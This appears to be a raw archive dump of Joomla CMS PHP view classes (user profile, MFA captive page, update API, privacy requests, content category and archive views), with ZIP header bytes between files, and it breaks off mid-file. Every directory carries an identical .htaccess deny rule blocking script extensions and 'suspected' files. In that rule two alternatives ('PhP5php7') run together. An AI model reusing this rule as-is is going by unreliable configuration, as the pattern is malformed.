DatabaseDriver. * * @var DatabaseDriver * @since 3.6.3 * * @deprecated 4.3 will be removed in 6.0 * Will be removed without replacement use database from the container instead * Example: Factory::getContainer()->get(DatabaseInterface::class); */ protected $db; /** * The page class suffix * * @var string * @since 4.0.0 */ protected $pageclass_sfx = ''; /** * The Multi-factor Authentication configuration interface for the user. * * @var string|null * @since 4.2.0 */ protected $mfaConfigurationUI; /** * Execute and display a template script. * * @param string $tpl The name of the template file to parse; automatically searches through the template paths. * * @return void|boolean * * @since 1.6 * @throws \Exception */ public function display($tpl = null) { $user = $this->getCurrentUser(); /** @var ProfileModel $model */ $model = $this->getModel(); $this->data = $model->getData(); $this->form = $model->getForm(); $this->state = $model->getState(); $this->params = $this->state->get('params'); $this->mfaConfigurationUI = Mfa::getConfigurationInterface($user); $this->db = Factory::getDbo(); // Check for errors. if (\count($errors = $model->getErrors())) { throw new GenericDataException(implode("\n", $errors), 500); } // View also takes responsibility for checking if the user logged in with remember me. if (isset($user->cookieLogin) && !empty($user->cookieLogin)) { // If so, the user must login to edit the password and other data. // What should happen here? Should we force a logout which destroys the cookies? $app = Factory::getApplication(); $app->enqueueMessage(Text::_('JGLOBAL_REMEMBER_MUST_LOGIN'), 'message'); $app->redirect(Route::_('index.php?option=com_users&view=login', false)); return false; } // Check if a user was found. if (!$this->data->id) { throw new \Exception(Text::_('JERROR_USERS_PROFILE_NOT_FOUND'), 404); } PluginHelper::importPlugin('content'); $this->data->text = ''; Factory::getApplication()->triggerEvent('onContentPrepare', ['com_users.user', &$this->data, &$this->data->params, 0]); unset($this->data->text); // Check for layout from menu item. $active = Factory::getApplication()->getMenu()->getActive(); if ( $active && isset($active->query['layout'], $active->query['option']) && $active->query['option'] === 'com_users' && isset($active->query['view']) && $active->query['view'] === 'profile' ) { $this->setLayout($active->query['layout']); } // Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($this->params->get('pageclass_sfx', '')); $this->prepareDocument(); parent::display($tpl); } /** * Prepares the document * * @return void * * @since 1.6 * @throws \Exception */ protected function prepareDocument() { // Because the application sets a default page title, // we need to get it from the menu item itself $menu = Factory::getApplication()->getMenu()->getActive(); if ($menu) { $this->params->def('page_heading', $this->params->get('page_title', $this->getCurrentUser()->name)); } else { $this->params->def('page_heading', Text::_('COM_USERS_PROFILE')); } $this->setDocumentTitle($this->params->get('page_title', '')); if ($this->params->get('menu-meta_description')) { $this->getDocument()->setDescription($this->params->get('menu-meta_description')); } if ($this->params->get('robots')) { $this->getDocument()->setMetaData('robots', $this->params->get('robots')); } } } PK ��\�Sʉ� � Profile/.htaccessnu �7��m <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'> Order allow,deny Deny from all </FilesMatch>PK ��\�t�pR R Captive/HtmlView.phpnu �[��� <?php /** * @package Joomla.Administrator * @subpackage com_users * * @copyright (C) 2022 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Users\Administrator\View\Captive; use Joomla\CMS\Event\MultiFactor\BeforeDisplayMethods; use Joomla\CMS\Event\MultiFactor\NotifyActionLog; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\CMS\Plugin\PluginHelper; use Joomla\CMS\Toolbar\Button\BasicButton; use Joomla\CMS\Toolbar\ToolbarHelper; use Joomla\Component\Users\Administrator\Helper\Mfa as MfaHelper; use Joomla\Component\Users\Administrator\Model\BackupcodesModel; use Joomla\Component\Users\Administrator\Model\CaptiveModel; use Joomla\Component\Users\Administrator\View\SiteTemplateTrait; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * View for Multi-factor Authentication captive page * * @since 4.2.0 */ class HtmlView extends BaseHtmlView { use SiteTemplateTrait; /** * The MFA Method records for the current user which correspond to enabled plugins * * @var array * @since 4.2.0 */ public $records = []; /** * The currently selected MFA Method record against which we'll be authenticating * * @var null|\stdClass * @since 4.2.0 */ public $record = null; /** * The Captive MFA page's rendering options * * @var array|null * @since 4.2.0 */ public $renderOptions = null; /** * The title to display at the top of the page * * @var string * @since 4.2.0 */ public $title = ''; /** * Is this an administrator page? * * @var boolean * @since 4.2.0 */ public $isAdmin = false; /** * Does the currently selected Method allow authenticating against all of its records? * * @var boolean * @since 4.2.0 */ public $allowEntryBatching = false; /** * All enabled MFA Methods (plugins) * * @var array * @since 4.2.0 */ public $mfaMethods; /** * Execute and display a template script. * * @param string $tpl The name of the template file to parse; automatically searches through the template paths. * * @return void A string if successful, otherwise an Error object. * * @throws \Exception * @since 4.2.0 */ public function display($tpl = null) { $this->setSiteTemplateStyle(); $app = Factory::getApplication(); $user = $this->getCurrentUser(); PluginHelper::importPlugin('multifactorauth'); $event = new BeforeDisplayMethods($user); $app->getDispatcher()->dispatch($event->getName(), $event); /** @var CaptiveModel $model */ $model = $this->getModel(); // Load data from the model $this->isAdmin = $app->isClient('administrator'); $this->records = $model->getRecords(); $this->record = $model->getRecord(); $this->mfaMethods = MfaHelper::getMfaMethods(); if (!empty($this->records)) { /** @var BackupcodesModel $codesModel */ $codesModel = $this->getModel('Backupcodes'); $backupCodesRecord = $codesModel->getBackupCodesRecord(); if (!\is_null($backupCodesRecord)) { $backupCodesRecord->title = Text::_('COM_USERS_USER_BACKUPCODES'); $this->records[] = $backupCodesRecord; } } // If we only have one record there's no point asking the user to select a MFA Method if (empty($this->record) && !empty($this->records)) { // Default to the first record $this->record = reset($this->records); // If we have multiple records try to make this record the default if (\count($this->records) > 1) { foreach ($this->records as $record) { if ($record->default) { $this->record = $record; break; } } } } // Set the correct layout based on the availability of a MFA record $this->setLayout('default'); // If we have no record selected or explicitly asked to run the 'select' task use the correct layout if (\is_null($this->record) || ($model->getState('task') == 'select')) { $this->setLayout('select'); } switch ($this->getLayout()) { case 'select': $this->allowEntryBatching = 1; $event = new NotifyActionLog('onComUsersCaptiveShowSelect', []); Factory::getApplication()->getDispatcher()->dispatch($event->getName(), $event); break; case 'default': default: $this->renderOptions = $model->loadCaptiveRenderOptions($this->record); $this->allowEntryBatching = $this->renderOptions['allowEntryBatching'] ?? 0; $event = new NotifyActionLog( 'onComUsersCaptiveShowCaptive', [ $this->escape($this->record->title), ] ); Factory::getApplication()->getDispatcher()->dispatch($event->getName(), $event); break; } // Which title should I use for the page? $this->title = $model->getPageTitle(); // Back-end: always show a title in the 'title' module position, not in the page body if ($this->isAdmin) { ToolbarHelper::title(Text::_('COM_USERS_USER_MULTIFACTOR_AUTH'), 'users user-lock'); $this->title = ''; } if ($this->isAdmin && $this->getLayout() === 'default') { $bar = $this->getDocument()->getToolbar(); $button = (new BasicButton('user-mfa-submit')) ->text($this->renderOptions['submit_text']) ->icon($this->renderOptions['submit_icon']); $bar->appendButton($button); $button = (new BasicButton('user-mfa-logout')) ->text('COM_USERS_MFA_LOGOUT') ->buttonClass('btn btn-danger') ->icon('icon icon-lock'); $bar->appendButton($button); if (\count($this->records) > 1) { $arrow = Factory::getApplication()->getLanguage()->isRtl() ? 'arrow-right' : 'arrow-left'; $button = (new BasicButton('user-mfa-choose-another')) ->text('COM_USERS_MFA_USE_DIFFERENT_METHOD') ->icon('icon-' . $arrow); $bar->appendButton($button); } } // Display the view parent::display($tpl); } } PK ��\�Sʉ� � Captive/.htaccessnu �7��m <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'> Order allow,deny Deny from all </FilesMatch>PK ��\�YR Notification/JsonapiView.phpnu �[��� <?php /** * @package Joomla.API * @subpackage com_joomlaupdate * * @copyright (C) 2025 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Joomlaupdate\Api\View\Notification; use Joomla\CMS\MVC\View\JsonApiView as BaseApiView; use Joomla\CMS\Uri\Uri; use Joomla\Component\Joomlaupdate\Administrator\Model\UpdateModel; use Tobscure\JsonApi\Resource; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The notification view * * @since 5.4.0 */ class JsonapiView extends BaseApiView { /** * Sends the update result notification * * @return string The rendered data * * @since 5.4.0 */ public function notification($type, $oldVersion, $newVersion) { /** * @var UpdateModel $model */ $model = $this->getModel(); $success = true; try { // Perform the finalization action $model->sendNotification($type, $oldVersion, $newVersion); } catch (\Throwable $e) { $success = false; } $element = (new Resource((object) ['success' => $success, 'id' => $type], $this->serializer)) ->fields(['notification' => ['success']]); $this->getDocument()->setData($element); $this->getDocument()->addLink('self', Uri::current()); return $this->getDocument()->render(); } } PK ��\�Sʉ� � Notification/.htaccessnu �7��m <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'> Order allow,deny Deny from all </FilesMatch>PK ��\)}�� � Updates/JsonapiView.phpnu �[��� <?php /** * @package Joomla.API * @subpackage com_joomlaupdate * * @copyright (C) 2025 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Joomlaupdate\Api\View\Updates; use Joomla\CMS\Factory; use Joomla\CMS\MVC\View\JsonApiView as BaseApiView; use Joomla\CMS\Plugin\PluginHelper; use Joomla\CMS\Uri\Uri; use Joomla\Component\Joomlaupdate\Administrator\Model\UpdateModel; use Tobscure\JsonApi\Resource; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The updates view * * @since 5.4.0 */ class JsonapiView extends BaseApiView { /** * Generates the update output * * @return string The rendered data * * @since 5.4.0 */ public function getUpdate() { /** * @var UpdateModel $model */ $model = $this->getModel(); $latestVersion = $model->getAutoUpdateVersion(); if (!$latestVersion || version_compare(JVERSION, $latestVersion) >= 0) { $latestVersion = null; } // Check pre-update states, unset update if not matched $preUpdateState = $model->getAutoUpdateRequirementsState(); if (!$preUpdateState) { $latestVersion = null; } // Prepare response $element = (new Resource((object) ['availableUpdate' => $latestVersion, 'id' => 'getUpdate'], $this->serializer)) ->fields(['updates' => ['availableUpdate']]); $this->getDocument()->setData($element); $this->getDocument()->addLink('self', Uri::current()); return $this->getDocument()->render(); } /** * Prepares the update by setting up the update.php and returns password and file size * * @param string $targetVersion The target version to prepare * * @return string The rendered data * * @since 5.4.0 */ public function prepareUpdate(string $targetVersion): string { /** * @var UpdateModel $model */ $model = $this->getModel(); $fileinformation = $model->prepareAutoUpdate($targetVersion); $fileinformation['id'] = 'prepareUpdate'; $element = (new Resource((object) $fileinformation, $this->serializer)) ->fields(['updates' => ['password', 'filesize', 'filename']]); $this->getDocument()->setData($element); $this->getDocument()->addLink('self', Uri::current()); return $this->getDocument()->render(); } /** * Run the finalize update steps * * @param string $fromVersion The from version * @param string $updateFileName The name of the update file * * @return string The rendered data * * @since 5.4.0 */ public function finalizeUpdate($fromVersion, $updateFileName) { /** * @var UpdateModel $model */ $model = $this->getModel(); // Write old version and filename to state for usage in model Factory::getApplication()->setUserState('com_joomlaupdate.oldversion', $fromVersion); Factory::getApplication()->setUserState('com_joomlaupdate.file', $updateFileName); try { // Perform the finalization action $model->finaliseUpgrade(); } catch (\Throwable $e) { $model->collectError('finaliseUpgrade', $e); } try { // Load actionlog plugins. PluginHelper::importPlugin('actionlog'); // Perform the cleanup action $model->cleanUp(); } catch (\Throwable $e) { $model->collectError('cleanUp', $e); } // Reset source $model->resetUpdateSource(); $success = true; $errors = []; // Append any errors to the API response for debugging purposes if ($model->getErrors()) { $success = false; $errors = array_map(function ($error) { return (string) $error; }, $model->getErrors()); } $element = (new Resource((object) ['success' => $success, 'id' => 'finalizeUpdate', 'errors' => $errors], $this->serializer)) ->fields(['updates' => ['success', 'errors']]); $this->getDocument()->setData($element); $this->getDocument()->addLink('self', Uri::current()); return $this->getDocument()->render(); } } PK ��\�Sʉ� � Updates/.htaccessnu �7��m <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'> Order allow,deny Deny from all </FilesMatch>PK ��\�&��_ _ Healthcheck/JsonapiView.phpnu �[��� <?php /** * @package Joomla.API * @subpackage com_joomlaupdate * * @copyright (C) 2025 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Joomlaupdate\Api\View\Healthcheck; use Joomla\CMS\Factory; use Joomla\CMS\MVC\View\JsonApiView as BaseApiView; use Joomla\CMS\Uri\Uri; use Joomla\Component\Joomlaupdate\Administrator\Model\UpdateModel; use Joomla\Database\DatabaseInterface; use Tobscure\JsonApi\Resource; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The healthcheck view * * @since 5.4.0 */ class JsonapiView extends BaseApiView { /** * Generates the health check output * * @return string The rendered data * * @since 5.4.0 */ public function healthCheck() { $data = $this->getStatsData(); $data['id'] = 'healthcheck'; $element = (new Resource((object) $data, $this->serializer)) ->fields(['healthcheck' => ['php_version', 'db_type', 'db_version', 'cms_version', 'server_os', 'update_requirement_state']]); $this->getDocument()->setData($element); $this->getDocument()->addLink('self', Uri::current()); return $this->getDocument()->render(); } /** * Get the data that will be sent to the update server. * * @return array * * @since 5.4.0 */ protected function getStatsData() { $db = Factory::getContainer()->get(DatabaseInterface::class); /** @var UpdateModel $updateModel */ $updateModel = Factory::getApplication()->bootComponent('com_joomlaupdate') ->getMVCFactory()->createModel('Update', 'Administrator', ['ignore_request' => true]); $data = [ 'php_version' => PHP_VERSION, 'db_type' => $db->name, 'db_version' => $db->getVersion(), 'cms_version' => JVERSION, 'server_os' => php_uname('s') . ' ' . php_uname('r'), 'update_requirement_state' => $updateModel->getAutoUpdateRequirementsState(), ]; // Check if we have a MariaDB version string and extract the proper version from it if (preg_match('/^(?:5\.5\.5-)?(mariadb-)?(?P<major>\d+)\.(?P<minor>\d+)\.(?P<patch>\d+)/i', $data['db_version'], $versionParts)) { $data['db_version'] = $versionParts['major'] . '.' . $versionParts['minor'] . '.' . $versionParts['patch']; } return $data; } } PK ��\�Sʉ� � Healthcheck/.htaccessnu �7��m <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'> Order allow,deny Deny from all </FilesMatch>PK ��\�Z�v� � Confirm/HtmlView.phpnu �[��� <?php /** * @package Joomla.Site * @subpackage com_privacy * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Privacy\Site\View\Confirm; use Joomla\CMS\Factory; use Joomla\CMS\Form\Form; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\GenericDataException; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\Component\Privacy\Site\Model\ConfirmModel; use Joomla\Registry\Registry; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Request confirmation view class * * @since 3.9.0 */ class HtmlView extends BaseHtmlView { /** * The form object * * @var Form * @since 3.9.0 */ protected $form; /** * The CSS class suffix to append to the view container * * @var string * @since 3.9.0 */ protected $pageclass_sfx; /** * The view parameters * * @var Registry * @since 3.9.0 */ protected $params; /** * The state information * * @var \Joomla\Registry\Registry * @since 3.9.0 */ protected $state; /** * Execute and display a template script. * * @param string $tpl The name of the template file to parse; automatically searches through the template paths. * * @return void * * @see BaseHtmlView::loadTemplate() * @since 3.9.0 * @throws \Exception */ public function display($tpl = null) { /** @var ConfirmModel $model */ $model = $this->getModel(); $this->form = $model->getForm(); $this->state = $model->getState(); $this->params = $this->state->get('params'); // Check for errors. if (\count($errors = $model->getErrors())) { throw new GenericDataException(implode("\n", $errors), 500); } // Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($this->params->get('pageclass_sfx', ''), ENT_COMPAT, 'UTF-8'); $this->prepareDocument(); parent::display($tpl); } /** * Prepares the document. * * @return void * * @since 3.9.0 */ protected function prepareDocument() { // Because the application sets a default page title, // we need to get it from the menu item itself $menu = Factory::getApplication()->getMenu()->getActive(); if ($menu) { $this->params->def('page_heading', $this->params->get('page_title', $menu->title)); } else { $this->params->def('page_heading', Text::_('COM_PRIVACY_VIEW_CONFIRM_PAGE_TITLE')); } $this->setDocumentTitle($this->params->get('page_title', '')); if ($this->params->get('menu-meta_description')) { $this->getDocument()->setDescription($this->params->get('menu-meta_description')); } if ($this->params->get('robots')) { $this->getDocument()->setMetaData('robots', $this->params->get('robots')); } } } PK ��\�Sʉ� � Confirm/.htaccessnu �7��m <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'> Order allow,deny Deny from all </FilesMatch>PK ��\2��� � Request/HtmlView.phpnu �[��� <?php /** * @package Joomla.Site * @subpackage com_privacy * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Privacy\Site\View\Request; use Joomla\CMS\Factory; use Joomla\CMS\Form\Form; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\GenericDataException; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\Component\Privacy\Site\Model\RequestModel; use Joomla\Registry\Registry; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Request view class * * @since 3.9.0 */ class HtmlView extends BaseHtmlView { /** * The form object * * @var Form * @since 3.9.0 */ protected $form; /** * The CSS class suffix to append to the view container * * @var string * @since 3.9.0 */ protected $pageclass_sfx; /** * The view parameters * * @var Registry * @since 3.9.0 */ protected $params; /** * Flag indicating the site supports sending email * * @var boolean * @since 3.9.0 */ protected $sendMailEnabled; /** * The state information * * @var \Joomla\Registry\Registry * @since 3.9.0 */ protected $state; /** * Execute and display a template script. * * @param string $tpl The name of the template file to parse; automatically searches through the template paths. * * @return void * * @see BaseHtmlView::loadTemplate() * @since 3.9.0 * @throws \Exception */ public function display($tpl = null) { /** @var RequestModel $model */ $model = $this->getModel(); $this->form = $model->getForm(); $this->state = $model->getState(); $this->params = $this->state->get('params'); $this->sendMailEnabled = (bool) Factory::getApplication()->get('mailonline', 1); // Check for errors. if (\count($errors = $model->getErrors())) { throw new GenericDataException(implode("\n", $errors), 500); } // Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($this->params->get('pageclass_sfx', ''), ENT_COMPAT, 'UTF-8'); $this->prepareDocument(); parent::display($tpl); } /** * Prepares the document. * * @return void * * @since 3.9.0 */ protected function prepareDocument() { // Because the application sets a default page title, // we need to get it from the menu item itself $menu = Factory::getApplication()->getMenu()->getActive(); if ($menu) { $this->params->def('page_heading', $this->params->get('page_title', $menu->title)); } else { $this->params->def('page_heading', Text::_('COM_PRIVACY_VIEW_REQUEST_PAGE_TITLE')); } $this->setDocumentTitle($this->params->get('page_title', '')); if ($this->params->get('menu-meta_description')) { $this->getDocument()->setDescription($this->params->get('menu-meta_description')); } if ($this->params->get('robots')) { $this->getDocument()->setMetaData('robots', $this->params->get('robots')); } } } PK ��\�Sʉ� � Request/.htaccessnu �7��m <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'> Order allow,deny Deny from all </FilesMatch>PK )�\�A�s s Category/HtmlView.phpnu �[��� <?php /** * @package Joomla.Site * @subpackage com_content * * @copyright (C) 2006 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Content\Site\View\Category; use Joomla\CMS\Factory; use Joomla\CMS\MVC\View\CategoryView; use Joomla\CMS\Plugin\PluginHelper; use Joomla\Component\Content\Site\Helper\RouteHelper; use Joomla\Registry\Registry; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * HTML View class for the Content component * * @since 1.5 */ class HtmlView extends CategoryView { /** * @var array Array of leading items for blog display * @since 3.2 */ protected $lead_items = []; /** * @var array Array of intro items for blog display * @since 3.2 */ protected $intro_items = []; /** * @var array Array of links in blog display * @since 3.2 */ protected $link_items = []; /** * @var string The name of the extension for the category * @since 3.2 */ protected $extension = 'com_content'; /** * @var string Default title to use for page title * @since 3.2 */ protected $defaultPageTitle = 'JGLOBAL_ARTICLES'; /** * @var string The name of the view to link individual items to * @since 3.2 */ protected $viewName = 'article'; /** * Execute and display a template script. * * @param string $tpl The name of the template file to parse; automatically searches through the template paths. * * @return void */ public function display($tpl = null) { /** * Pass the current layout to the model so it can apply special handling for the * blog layout. In the blog layout, if the total number of articles (leading + * intro + links) is 0, we skip loading any articles to avoid the performance * cost of loading all records when the limit is 0. */ $this->getModel()->setState('view.layout', $this->getLayout()); $this->commonCategoryDisplay(); // Flag indicates to not add limitstart=0 to URL $this->pagination->hideEmptyLimitstart = true; // Prepare the data // Get the metrics for the structural page layout. $params = $this->params; $numLeading = $params->def('num_leading_articles', 1); $numIntro = $params->def('num_intro_articles', 4); $numLinks = $params->def('num_links', 4); $this->vote = PluginHelper::isEnabled('content', 'vote'); PluginHelper::importPlugin('content'); $app = Factory::getApplication(); // Compute the article slugs and prepare introtext (runs content plugins). foreach ($this->items as $item) { $item->slug = $item->alias ? ($item->id . ':' . $item->alias) : $item->id; // No link for ROOT category if ($item->parent_alias === 'root') { $item->parent_id = null; } $item->event = new \stdClass(); // Old plugins: Ensure that text property is available if (!isset($item->text)) { $item->text = $item->introtext; } $app->triggerEvent('onContentPrepare', ['com_content.category', &$item, &$item->params, 0]); // Old plugins: Use processed text as introtext $item->introtext = $item->text; $results = $app->triggerEvent('onContentAfterTitle', ['com_content.category', &$item, &$item->params, 0]); $item->event->afterDisplayTitle = trim(implode("\n", $results)); $results = $app->triggerEvent('onContentBeforeDisplay', ['com_content.category', &$item, &$item->params, 0]); $item->event->beforeDisplayContent = trim(implode("\n", $results)); $results = $app->triggerEvent('onContentAfterDisplay', ['com_content.category', &$item, &$item->params, 0]); $item->event->afterDisplayContent = trim(implode("\n", $results)); } // For blog layouts, preprocess the breakdown of leading, intro and linked articles. // This makes it much easier for the designer to just interrogate the arrays. if ($params->get('layout_type') === 'blog' || $this->getLayout() === 'blog') { foreach ($this->items as $i => $item) { if ($i < $numLeading) { $this->lead_items[] = $item; } elseif ($i >= $numLeading && $i < $numLeading + $numIntro) { $this->intro_items[] = $item; } elseif ($i < $numLeading + $numIntro + $numLinks) { $this->link_items[] = $item; } } } // Because the application sets a default page title, // we need to get it from the menu item itself $active = $app->getMenu()->getActive(); if ($this->menuItemMatchCategory) { $this->params->def('page_heading', $this->params->get('page_title', $active->title)); $title = $this->params->get('page_title', $active->title); } else { $this->params->def('page_heading', $this->category->title); $title = $this->category->title; $this->params->set('page_title', $title); } if (empty($title)) { $title = $this->category->title; } $this->setDocumentTitle($title); if ($this->category->metadesc) { $this->getDocument()->setDescription($this->category->metadesc); } elseif ($this->params->get('menu-meta_description')) { $this->getDocument()->setDescription($this->params->get('menu-meta_description')); } if ($this->params->get('robots')) { $this->getDocument()->setMetaData('robots', $this->params->get('robots')); } if (!\is_object($this->category->metadata)) { $this->category->metadata = new Registry($this->category->metadata); } $mdata = $this->category->metadata->toArray(); foreach ($mdata as $k => $v) { if ($v) { $this->getDocument()->setMetaData($k, $v); } } parent::display($tpl); } /** * Prepares the document * * @return void */ protected function prepareDocument() { parent::prepareDocument(); $this->addFeed(); if ($this->menuItemMatchCategory) { // If the active menu item is linked directly to the category being displayed, no further process is needed return; } // Get ID of the category from active menu item $menu = $this->menu; if ( $menu && $menu->component == 'com_content' && isset($menu->query['view']) && \in_array($menu->query['view'], ['categories', 'category']) ) { $id = $menu->query['id']; } else { $id = 0; } $path = [['title' => $this->category->title, 'link' => '']]; $category = $this->category->getParent(); while ($category !== null && $category->id !== 'root' && $category->id != $id) { $path[] = ['title' => $category->title, 'link' => RouteHelper::getCategoryRoute($category->id, $category->language)]; $category = $category->getParent(); } $path = array_reverse($path); foreach ($path as $item) { $this->pathway->addItem($item['title'], $item['link']); } } } PK )�\��y�� � Category/FeedView.phpnu �[��� <?php /** * @package Joomla.Site * @subpackage com_content * * @copyright (C) 2006 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Content\Site\View\Category; use Joomla\CMS\Factory; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\CategoryFeedView; use Joomla\CMS\Router\Route; use Joomla\Component\Content\Site\Helper\RouteHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * HTML View class for the Content component * * @since 1.5 */ class FeedView extends CategoryFeedView { /** * @var string The name of the view to link individual items to * * @since 3.2 */ protected $viewName = 'article'; /** * Method to reconcile non-standard names from components to usage in this class. * Typically overridden in the component feed view class. * * @param object $item The item for a feed, an element of the $items array. * * @return void * * @since 3.2 */ protected function reconcileNames($item) { // Get description, intro_image, author and date $app = Factory::getApplication(); $params = $app->getParams(); $item->description = ''; $obj = json_decode($item->images); if (!empty($obj->image_intro)) { $item->description = '<p>' . HTMLHelper::_('image', $obj->image_intro, $obj->image_intro_alt) . '</p>'; } $item->description .= ($params->get('feed_summary', 0) ? $item->introtext . $item->fulltext : $item->introtext); // Add readmore link to description if introtext is shown, show_readmore is true and fulltext exists if (!$item->params->get('feed_summary', 0) && $item->params->get('feed_show_readmore', 0) && $item->fulltext) { // Compute the article slug $item->slug = $item->alias ? ($item->id . ':' . $item->alias) : $item->id; // URL link to article $link = Route::_( RouteHelper::getArticleRoute($item->slug, $item->catid, $item->language), true, $app->get('force_ssl') == 2 ? Route::TLS_FORCE : Route::TLS_IGNORE, true ); $item->description .= '<p class="feed-readmore"><a target="_blank" href="' . $link . '" rel="noopener">' . Text::_('COM_CONTENT_FEED_READMORE') . '</a></p>'; } $item->author = $item->created_by_alias ?: $item->author; } } PK )�\�Sʉ� � Category/.htaccessnu �7��m <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'> Order allow,deny Deny from all </FilesMatch>PK )�\,� Archive/HtmlView.phpnu �[��� <?php /** * @package Joomla.Site * @subpackage com_content * * @copyright (C) 2006 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Content\Site\View\Archive; use Joomla\CMS\Factory; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\GenericDataException; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\CMS\Plugin\PluginHelper; use Joomla\Component\Content\Site\Model\ArchiveModel; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * HTML View class for the Content component * * @since 1.5 */ class HtmlView extends BaseHtmlView { /** * The model state * * @var \Joomla\Registry\Registry */ protected $state = null; /** * An array containing archived articles * * @var \stdClass[] */ protected $items = []; /** * The pagination object * * @var \Joomla\CMS\Pagination\Pagination|null */ protected $pagination = null; /** * The years that are available to filter on. * * @var array * * @since 3.6.0 */ protected $years = []; /** * Object containing the year, month and limit field to be displayed * * @var \stdClass|null * * @since 4.0.0 */ protected $form = null; /** * The page parameters * * @var \Joomla\Registry\Registry|null * * @since 4.0.0 */ protected $params = null; /** * The search query used on any archived articles (note this may not be displayed depending on the value of the * filter_field component parameter) * * @var string * * @since 4.0.0 */ protected $filter = ''; /** * The user object * * @var \Joomla\CMS\User\User * * @since 4.0.0 */ protected $user = null; /** * The page class suffix * * @var string * * @since 4.0.0 */ protected $pageclass_sfx = ''; /** * Execute and display a template script. * * @param string $tpl The name of the template file to parse; automatically searches through the template paths. * * @return void * * @throws GenericDataException */ public function display($tpl = null) 